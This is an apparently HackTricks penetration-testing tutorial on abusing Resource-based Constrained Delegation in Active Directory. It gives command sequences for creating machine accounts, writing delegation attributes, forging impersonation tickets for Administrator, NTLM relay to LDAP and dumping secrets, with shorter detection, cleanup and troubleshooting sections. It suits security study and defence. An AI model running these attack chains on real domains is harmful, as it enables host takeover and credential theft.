resource-based-constrained-delegation.md (25685B)
1 --- 2 title: "Resource-based Constrained Delegation" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Resource-based Constrained Delegation 14 15 ## Basics of Resource-based Constrained Delegation 16 17 Resource-based constrained delegation (RBCD) is similar to [constrained delegation](/hacktricks/windows-hardening/active-directory-methodology/constrained-delegation), but the trust direction is reversed. Traditional constrained delegation records which services a principal may delegate to; RBCD records on the **target resource** which principals may impersonate users to it.<sup>[[12]](#references)</sup> 18 19 The target object's _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ attribute contains a security descriptor identifying the principals allowed to act on behalf of other identities to that resource. 20 21 Another important difference is that a principal with sufficient **write permissions over a machine account** (`GenericAll`, `GenericWrite`, `WriteDacl`, `WriteProperty`, and similar rights) may be able to set _**msDS-AllowedToActOnBehalfOfOtherIdentity**_. Configuring traditional constrained delegation normally requires more privileged administrative access.<sup>[[1]](#references)</sup> 22 23 More precisely, changing classic constrained-delegation settings is normally gated by `SeEnableDelegationPrivilege` on a domain controller, a right typically held by highly privileged administrators. RBCD shifts the decision to the target object's security descriptor, so write access to the relevant computer-object property can be sufficient without that user right.<sup>[[1]](#references)[[2]](#references)</sup> 24 25 ### New Concepts 26 27 The **`TrustedToAuthForDelegation`** flag in `userAccountControl` is often described as a prerequisite for **S4U2Self**, but that is incomplete.\ 28 A service principal with an SPN can request S4U2Self without the flag. With `TrustedToAuthForDelegation`, the returned service ticket is **forwardable**; without it, the ticket is normally **non-forwardable**.<sup>[[5]](#references)</sup> 29 30 Traditional constrained delegation rejects a **non-forwardable TGS** in the S4U2Proxy step. RBCD can accept that S4U2Self ticket when the target's security descriptor authorizes the requesting service.<sup>[[1]](#references)[[2]](#references)[[16]](#references)</sup> 31 32 ### Attack structure 33 34 > If you have **write-equivalent privileges** over a **computer account**, you may be able to obtain privileged access to that machine. 35 36 Assume the attacker already has **write-equivalent privileges over the victim computer object**. 37 38 1. The attacker **compromises** an account with an **SPN** or **creates one** ("Service A"). By default, an authenticated domain user can create up to 10 computer objects, as controlled by **_MachineAccountQuota_**; a computer object automatically supplies usable SPNs. 39 2. The attacker **abuses its WRITE privilege** over the victim computer (ServiceB) to configure **resource-based constrained delegation to allow ServiceA to impersonate any user** against that victim computer (ServiceB). 40 3. The attacker uses Rubeus to perform a **full S4U attack** (S4U2Self and S4U2Proxy) from Service A to Service B for a user **with privileged access to Service B**. 41 1. S4U2Self (from the compromised or created SPN account): request a **TGS representing Administrator to Service A** (non-forwardable). 42 2. S4U2Proxy: use that **non-forwardable TGS** to request a service ticket representing **Administrator** to the **victim host**. 43 3. The non-forwardable ticket can still work in this RBCD flow because Service A is authorized in the target resource's security descriptor. 44 4. The attacker can **pass-the-ticket** and **impersonate** the user to gain **access to the victim ServiceB**.<sup>[[1]](#references)</sup> 45 46 To check the _**MachineAccountQuota**_ of the domain you can use: 47 48 ```bash 49 Get-DomainObject -Identity "dc=domain,dc=local" -Domain domain.local | select MachineAccountQuota 50 ``` 51 52 ## Attack 53 54 ### Creating a Computer Object 55 56 You can create a computer object inside the domain using **[powermad](https://github.com/Kevin-Robertson/Powermad):**<sup>[[3]](#references)[[4]](#references)</sup> 57 58 ```bash 59 import-module powermad 60 New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose 61 62 # Check if created 63 Get-DomainComputer SERVICEA 64 ``` 65 66 ### Configuring Resource-based Constrained Delegation 67 68 **Using the Active Directory PowerShell module**<sup>[[4]](#references)</sup> 69 70 ```bash 71 Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount SERVICEA$ #Assign delegation privileges 72 Get-ADComputer $targetComputer -Properties PrincipalsAllowedToDelegateToAccount #Check that it worked 73 ``` 74 75 **Using powerview**<sup>[[3]](#references)</sup> 76 77 ```bash 78 $ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid 79 $SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)" 80 $SDBytes = New-Object byte[] ($SD.BinaryLength) 81 $SD.GetBinaryForm($SDBytes, 0) 82 Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} 83 84 #Check that it worked 85 Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity' 86 87 msds-allowedtoactonbehalfofotheridentity 88 ---------------------------------------- 89 {1, 0, 4, 128...} 90 ``` 91 92 ### Performing a complete S4U attack (Windows/Rubeus) 93 94 First of all, we created the new Computer object with the password `123456`, so we need the hash of that password:<sup>[[3]](#references)[[4]](#references)</sup> 95 96 ```bash 97 .\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local 98 ``` 99 100 This will print the RC4 and AES hashes for that account.\ 101 Now, the attack can be performed:<sup>[[3]](#references)[[4]](#references)</sup> 102 103 ```bash 104 rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<aes256 hash> /aes128:<aes128 hash> /rc4:<rc4 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /domain:domain.local /ptt 105 ``` 106 107 You can generate more tickets for more services just asking once using the `/altservice` param of Rubeus: 108 109 ```bash 110 rubeus.exe s4u /user:FAKECOMPUTER$ /aes256:<AES 256 hash> /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt 111 ``` 112 113 > [!CAUTION] 114 > Users can be marked **"Account is sensitive and cannot be delegated."** If that flag is enabled, the account cannot be impersonated through this delegation flow. BloodHound exposes this property during analysis. 115 116 ### Linux tooling: end-to-end RBCD with Impacket (2024+) 117 118 If you operate from Linux, you can perform the full RBCD chain using the official Impacket tools:<sup>[[6]](#references)[[7]](#references)</sup> 119 120 ```bash 121 # 1) Create attacker-controlled machine account (respects MachineAccountQuota) 122 impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ss123' -dc-ip 192.168.56.10 'domain.local/jdoe:Summer2025!' 123 124 # 2) Grant RBCD on the target computer to FAKE01$ 125 # -action write appends/sets the security descriptor for msDS-AllowedToActOnBehalfOfOtherIdentity 126 impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -dc-ip 192.168.56.10 -action write 'domain.local/jdoe:Summer2025!' 127 128 # 3) Request an impersonation ticket (S4U2Self+S4U2Proxy) for a privileged user against the victim service 129 impacket-getST -spn cifs/victim.domain.local -impersonate Administrator -dc-ip 192.168.56.10 'domain.local/FAKE01$:P@ss123' 130 131 # 4) Use the ticket (ccache) against the target service 132 export KRB5CCNAME=$(pwd)/Administrator.ccache 133 # Example: dump local secrets via Kerberos (no NTLM) 134 impacket-secretsdump -k -no-pass Administrator@victim.domain.local 135 ``` 136 137 Notes 138 - If LDAP signing/LDAPS is enforced, use `impacket-rbcd -use-ldaps ...`. 139 - Prefer AES keys; many modern domains restrict RC4. Impacket and Rubeus both support AES-only flows. 140 - Impacket can rewrite the `sname` ("AnySPN") for some tools, but obtain the correct SPN whenever possible (e.g., CIFS/LDAP/HTTP/HOST/MSSQLSvc). 141 142 ## Cross-domain & cross-forest RBCD 143 144 If the **delegating principal** you control lives in a **different domain** (or even a **different forest**) than the **resource computer**, the abuse is still **RBCD**, but the ticket flow is no longer the usual single-domain `S4U2Self -> S4U2Proxy`. 145 146 ### Cross-domain RBCD: configure the foreign principal by SID 147 148 When you set `msDS-AllowedToActOnBehalfOfOtherIdentity` from a **different domain**, the foreign machine/user might **not be resolvable by name** in the target domain LDAP. In that case, configure the delegation entry using the **SID** of the foreign principal instead of its sAMAccountName/UPN. 149 150 This is especially relevant when relaying NTLM to LDAP with `ntlmrelayx.py`:<sup>[[9]](#references)</sup> 151 152 ```bash 153 sudo ntlmrelayx.py -smb2support -t ldap://192.168.90.217 \ 154 --no-dump --no-da --no-validate-privs \ 155 --delegate-access \ 156 --escalate-user S-1-5-21-3104832133-133926542-3798009529-1106 \ 157 --sid 158 ``` 159 160 Notes: 161 - `--sid` tells `ntlmrelayx.py` to treat `--escalate-user` as a SID, which is required when the delegating account is foreign to the target domain. 162 - Even if the tool prints `User not found in LDAP`, the delegation write can still succeed because the security descriptor stores the foreign SID directly. 163 164 ### Cross-domain RBCD: cross-realm S4U sequence 165 166 Once the foreign principal is in `msDS-AllowedToActOnBehalfOfOtherIdentity`, the working cross-domain flow is:<sup>[[9]](#references)[[13]](#references)</sup> 167 168 1. Get a **TGT** for the delegating principal from its own domain. 169 2. Request a **referral TGT** for `krbtgt/<target-domain>`. 170 3. Request a **cross-realm S4U2Self referral** for the impersonated user on the target-domain DC. 171 4. Request the actual **S4U2Self** ticket for that user back in the delegator domain. 172 5. Perform **S4U2Proxy** in the delegator domain to get a referral ticket for the target domain. 173 6. Perform the final **S4U2Proxy** on the target-domain DC to obtain the service ticket for `cifs/host.target`, `host/host.target`, etc. 174 175 This is why stock Linux tooling often fails in cross-domain RBCD:<sup>[[9]](#references)</sup> 176 - the request **realm** may need to differ from the realm of the TGT used in the `TGS-REQ` 177 - the chain needs **independent S4U2Proxy steps**, not only `S4U2Self` or `S4U2Self` immediately followed by a single `S4U2Proxy` 178 179 ### Cross-domain RBCD from Linux 180 181 Synacktiv published an Impacket `getST.py` implementation that reproduces the cross-realm sequence from Linux by explicitly handling the two KDCs:<sup>[[9]](#references)[[11]](#references)</sup> 182 183 ```bash 184 python3 ./getST.py dev.asgard.local/rbcd_test\$:R[...]5 -k \ 185 -dc-ip 192.168.90.131 \ 186 -targetdc 192.168.90.217 \ 187 -targetdomain asgard.local \ 188 -impersonate thor_adm \ 189 -spn cifs/workstation.asgard.local 190 191 KRB5CCNAME=thor_adm@cifs_workstation.asgard.local@ASGARD.LOCAL.ccache \ 192 ./smbclient.py "asgard.local/thor_adm@workstation.asgard.local" \ 193 -k -no-pass -dc-ip 192.168.90.217 194 ``` 195 196 Operationally, the new arguments are: 197 - `-dc-ip`: DC of the **delegating** domain 198 - `-targetdomain`: domain of the **resource computer** 199 - `-targetdc`: DC of the **resource** domain 200 201 ### Cross-forest RBCD limitations 202 203 Cross-forest RBCD has an important limitation: **the impersonated user must belong to the same forest as the delegating principal**. In other words, if your controlled machine account is in `valhalla.local` and the target resource is in `asgard.local`, you generally **cannot** impersonate arbitrary `asgard.local` users to that resource via RBCD.<sup>[[9]](#references)</sup> 204 205 It is still exploitable when: 206 - the **delegating forest** user is a **local admin** (or otherwise privileged) on the resource host in the other forest 207 - a trust allows the required authentication path and the foreign SID is accepted in the target computer's security descriptor 208 209 ### Cross-forest RBCD protocol quirks 210 211 Cross-forest RBCD is not just "cross-domain plus a trust". The observed flow includes two quirks that common tooling historically misses:<sup>[[9]](#references)</sup> 212 213 1. An extra **S4U2Proxy** request that sets **`PA-PAC-OPTIONS=branch-aware`** 214 2. A final service ticket that may be returned using **RC4** even when other etypes were requested 215 216 The practical flow is: 217 218 1. Get a TGT for the delegating principal in forest A. 219 2. Request **S4U2Self** for the impersonated user in forest A. 220 3. Request **S4U2Proxy** in forest A to obtain a referral TGT for forest B. 221 4. Send a second **S4U2Proxy** in forest A **without** the S4U2Self ticket as an additional ticket, but with `branch-aware` enabled, to obtain another referral TGT for forest B. 222 5. Optionally request a normal service ticket in forest B for the delegating principal (this ticket is not required for the final abuse). 223 6. Use the referral tickets from steps 3 and 4 to request the final **S4U2Proxy** ticket in forest B for the impersonated forest-A user to the target SPN. 224 225 ### Cross-forest RBCD from Linux 226 227 The same Synacktiv Impacket branch adds a `-forest` switch for this logic:<sup>[[9]](#references)[[11]](#references)</sup> 228 229 ```bash 230 python3 ./getST.py -spn 'cifs/workstation.asgard.local' \ 231 -impersonate 'v_thor' \ 232 -dc-ip VALHALLA.local \ 233 valhalla.local/'desktop$' \ 234 -targetdc ASGARD.local \ 235 -targetdomain asgard.local \ 236 -aesKey 4[...]f \ 237 -forest 238 ``` 239 240 ### Recursive multi-domain RBCD (3+ domains) 241 242 In **multi-domain forests**, both **S4U2Self** and **S4U2Proxy** can be **recursive** instead of stopping after one referral: 243 244 - **Recursive S4U2Self**: the first `S4U2Self` is sent to the **impersonated user's domain**, intermediate parent/child hops are traversed with normal `TGS-REQ` referrals for `krbtgt/<REALM>`, and the **final `S4U2Self`** is sent in the **delegating principal's own domain**. 245 - This means that **just holding a TGT** for a machine account can be enough to impersonate an **admin from another domain in the same forest** and request `cifs/host`, `host/host`, `wsman/host`, etc. 246 - **Recursive S4U2Proxy** follows the trust chain in the same way: intermediate hops reuse the previous ticket as the TGT while requesting the next `krbtgt/<REALM>` referral, and only the last hop returns the final service ticket.<sup>[[10]](#references)</sup> 247 248 A practical same-forest example is: 249 250 ```bash 251 KRB5CCNAME=MIN-FRPERSO-01\$.ccache getST.py 'minus.sub.frperso.local/MIN-FRPERSO-01$' -k -no-pass \ 252 -impersonate Administrator@frperso.local -self \ 253 -altservice cifs/min-frperso-01.minus.sub.frperso.local 254 255 KRB5CCNAME=Administrator@frperso.local@cifs_min-frperso-01.minus.sub.frperso.local@MINUS.SUB.FRPERSO.LOCAL.ccache \ 256 smbclient.py frperso.local/Administrator@min-frperso-01.minus.sub.frperso.local -k -no-pass 257 ``` 258 259 ### SPN-less cross-domain / cross-forest RBCD 260 261 If the **delegating principal is a user without an SPN**, the last recursive `S4U2Self` fails with **`KDC_ERR_S_PRINCIPAL_UNKNOWN`**. The workaround is to **retry only the final hop as `S4U2Self+U2U`**.<sup>[[10]](#references)</sup> 262 263 Short version of the abuse chain: 264 265 1. Authenticate with the **NT hash** so the KDC is pushed toward **RC4-HMAC (etype 23)**. 266 2. Request **`-self -u2u`** first and keep that ticket separate from the later proxy step. 267 3. Extract the **TGT session key** with `describeTicket.py`. 268 4. Replace the user's **NT hash** with that **session key** using `changepasswd.py -newhashes <session_key>`. 269 5. Reuse the `S4U2Self+U2U` ticket as the **`-additional-ticket`** during a separate **`-proxy`** request. 270 271 ```bash 272 getST.py sub.frperso.local/Administrator -hashes ':<nthash>' \ 273 -impersonate Administrator@frperso.local -self -u2u 274 describeTicket.py Administrator.ccache 275 changepasswd.py sub.frperso.local/Administrator@sub-frperso-01.sub.frperso.local \ 276 -hashes ':<nthash>' -newhashes <tgt_session_key> 277 KRB5CCNAME=Administrator.ccache getST.py sub.frperso.local/Administrator -k -no-pass \ 278 -impersonate Administrator@frperso.local -proxy -proxydomain frpublic.local \ 279 -spn cifs/frpublic-01.frpublic.local -additional-ticket '<u2u_ticket.ccache>' 280 ``` 281 282 Operational caveats: 283 284 - When the **first trusted hop is already another forest**, prefer the **branch-aware** algorithm (`getST.py ... -forest`) to match native Windows behavior. If the foreign forest is only reached **later** in the chain, the non-branch-aware recursive flow may still work.<sup>[[9]](#references)</sup> 285 - On recent **Windows Server 2022/2025** DCs, forced RC4 can fail with **`KDC_ERR_ETYPE_NOSUPP`** because of RC4 deprecation; this can make **SPN-less RBCD impossible** even though classic SPN-backed RBCD still works with AES.<sup>[[15]](#references)</sup> 286 - Run **`S4U2Self+U2U` before changing the user's hash/password**: `SamrChangePasswordUser` does **not** recompute the account's Kerberos AES keys, so doing the password change first can break later ticket requests.<sup>[[14]](#references)</sup> 287 - The impersonated account must still be **delegable**: **Protected Users** and accounts with **`NOT_DELEGATED`** / **"Account is sensitive and cannot be delegated"** block the chain. 288 289 ## Detection / hardening notes 290 291 - RBCD paths across domains/forests are still usually created through **ACL abuse** or **relay-to-LDAP**. Enforce **LDAP signing** and **LDAP channel binding** on DCs to break common setup paths. 292 - Audit who can write `msDS-AllowedToActOnBehalfOfOtherIdentity` on computer objects and resolve the stored SIDs, including **foreign security principals**. 293 - In trust-heavy environments, review **Selective Authentication**, **SID filtering**, and whether users from a foreign forest hold **local admin** rights on resource hosts. 294 295 ### Accessing 296 297 The last command line will perform the **complete S4U attack and will inject the TGS** from Administrator to the victim host in **memory**.\ 298 In this example it was requested a TGS for the **CIFS** service from Administrator, so you will be able to access **C$**: 299 300 ```bash 301 ls \\victim.domain.local\C$ 302 ``` 303 304 ### Abuse different service tickets 305 306 Learn about the [**available service tickets here**](/hacktricks/windows-hardening/active-directory-methodology/silver-ticket#available-services). 307 308 ## Enumerating, auditing and cleanup 309 310 ### Enumerate computers with RBCD configured 311 312 PowerShell (decoding the SD to resolve SIDs): 313 314 ```powershell 315 # List all computers with msDS-AllowedToActOnBehalfOfOtherIdentity set and resolve principals 316 Import-Module ActiveDirectory 317 Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | 318 Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" } | 319 ForEach-Object { 320 $raw = $_."msDS-AllowedToActOnBehalfOfOtherIdentity" 321 $sd = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $raw, 0 322 $sd.DiscretionaryAcl | ForEach-Object { 323 $sid = $_.SecurityIdentifier 324 try { $name = $sid.Translate([System.Security.Principal.NTAccount]) } catch { $name = $sid.Value } 325 [PSCustomObject]@{ Computer=$_.ObjectDN; Principal=$name; SID=$sid.Value; Rights=$_.AccessMask } 326 } 327 } 328 ``` 329 330 Impacket (read or flush with one command): 331 332 ```bash 333 # Read who can delegate to VICTIM 334 impacket-rbcd -delegate-to 'VICTIM$' -action read 'domain.local/jdoe:Summer2025!' 335 ``` 336 337 ### Cleanup / reset RBCD 338 339 - PowerShell (clear the attribute): 340 341 ```powershell 342 Set-ADComputer $targetComputer -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity' 343 # Or using the friendly property 344 Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount $null 345 ``` 346 347 - Impacket: 348 349 ```bash 350 # Remove a specific principal from the SD 351 impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -action remove 'domain.local/jdoe:Summer2025!' 352 # Or flush the whole list 353 impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025!' 354 ``` 355 356 ## Kerberos Errors 357 358 - **`KDC_ERR_ETYPE_NOTSUPP`**: This means that kerberos is configured to not use DES or RC4 and you are supplying just the RC4 hash. Supply to Rubeus at least the AES256 hash (or just supply it the rc4, aes128 and aes256 hashes). Example: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())` 359 - **`KDC_ERR_S_PRINCIPAL_UNKNOWN`** during `-self` for a normal user: the delegating principal likely **has no SPN**. Retry the **last hop** as **`S4U2Self+U2U`** instead of a regular `S4U2Self`.<sup>[[10]](#references)</sup> 360 - **`KDC_ERR_ETYPE_NOSUPP`** during **SPN-less RBCD**: recent DCs may reject the forced **RC4-HMAC** path required by the `S4U2Self+U2U` + session-key-substitution trick. Try a classic **SPN-backed** RBCD path with AES instead.<sup>[[10]](#references)[[15]](#references)</sup> 361 - **`KRB_AP_ERR_SKEW`**: This means that the time of the current computer is different from the one of the DC and kerberos is not working properly. 362 - **`preauth_failed`**: This means that the given username + hashes aren't working to login. You may have forgotten to put the "$" inside the username when generating the hashes (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`) 363 - **`KDC_ERR_BADOPTION`**: This may mean: 364 - The user you are trying to impersonate cannot access the desired service (because you cannot impersonate it or because it doesn't have enough privileges) 365 - The asked service doesn't exist (if you ask for a ticket for winrm but winrm isn't running) 366 - The fakecomputer created has lost it's privileges over the vulnerable server and you need to given them back. 367 - You are abusing classic KCD; remember RBCD works with non-forwardable S4U2Self tickets, while KCD requires forwardable. 368 369 ## Notes, relays and alternatives 370 371 - You can also write the RBCD SD over AD Web Services (ADWS) if LDAP is filtered. See: 372 373 374 [Adws Enumeration](/hacktricks/windows-hardening/active-directory-methodology/adws-enumeration) 375 376 - Kerberos relay chains frequently end in RBCD to achieve local SYSTEM in one step. See practical end-to-end examples: 377 378 379 [Spoofing Llmnr Nbt Ns Mdns Dns And Wpad And Relay Attacks](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) 380 381 - If LDAP signing/channel binding are **disabled** and you can create a machine account, tools like **KrbRelayUp** can relay a coerced Kerberos auth to LDAP, set `msDS-AllowedToActOnBehalfOfOtherIdentity` for your machine account on the target computer object, and immediately impersonate **Administrator** via S4U from off-host.<sup>[[8]](#references)</sup> 382 383 ## References 384 385 - [1] [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory](https://eladshamir.com/2019/01/28/Wagging-the-Dog.html) 386 - [2] [Another Word on Delegation – harmj0y](https://blog.harmj0y.net/redteaming/another-word-on-delegation/) 387 - [3] [Kerberos Resource-based Constrained Delegation: Computer Object Takeover](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object) 388 - [4] [Netwrix – Resource-Based Constrained Delegation Abuse](https://netwrix.com/en/resources/blog/resource-based-constrained-delegation-abuse/) 389 - [5] [Kerberosity Killed the Domain: An Offensive Kerberos Overview](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61) 390 - [6] [Impacket rbcd.py (official)](https://github.com/fortra/impacket/blob/master/examples/rbcd.py) 391 - [7] [Quick Linux cheatsheet with recent syntax](https://tldrbins.github.io/rbcd/) 392 - [8] [0xdf – HTB Bruno (LDAP signing off → Kerberos relay to RBCD)](https://0xdf.gitlab.io/2026/02/24/htb-bruno.html) 393 - [9] [Synacktiv - Exploring cross-domain & cross-forest RBCD](https://www.synacktiv.com/en/publications/exploring-cross-domain-cross-forest-rbcd.html) 394 - [10] [Synacktiv - Exploring cross-domain & cross-forest RBCD: part 2](https://www.synacktiv.com/en/publications/exploring-cross-domain-cross-forest-rbcd-part-2.html) 395 - [11] [Synacktiv Impacket branch - cross_forest_rbcd](https://github.com/synacktiv/impacket/tree/cross_forest_rbcd) 396 - [12] [Microsoft Learn - Kerberos constrained delegation overview](https://learn.microsoft.com/en-us/windows-server/security/kerberos/kerberos-constrained-delegation-overview) 397 - [13] [Microsoft Open Specifications - Cross-domain S4U2Self](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/f35b6902-6f5e-4cd0-be64-c50bbaaf54a5) 398 - [14] [Microsoft Open Specifications - SamrChangePasswordUser](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/9699d8ca-e1a4-433c-a8c3-d7bebeb01476) 399 - [15] [Microsoft Learn - Detect and remediate RC4 usage in Kerberos](https://learn.microsoft.com/en-us/windows-server/security/kerberos/detect-remediate-rc4-kerberos) 400 - [16] [Microsoft Open Specifications – S4U2Proxy details](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/bde93b0e-f3c9-4ddf-9cd5-e9c237331c90)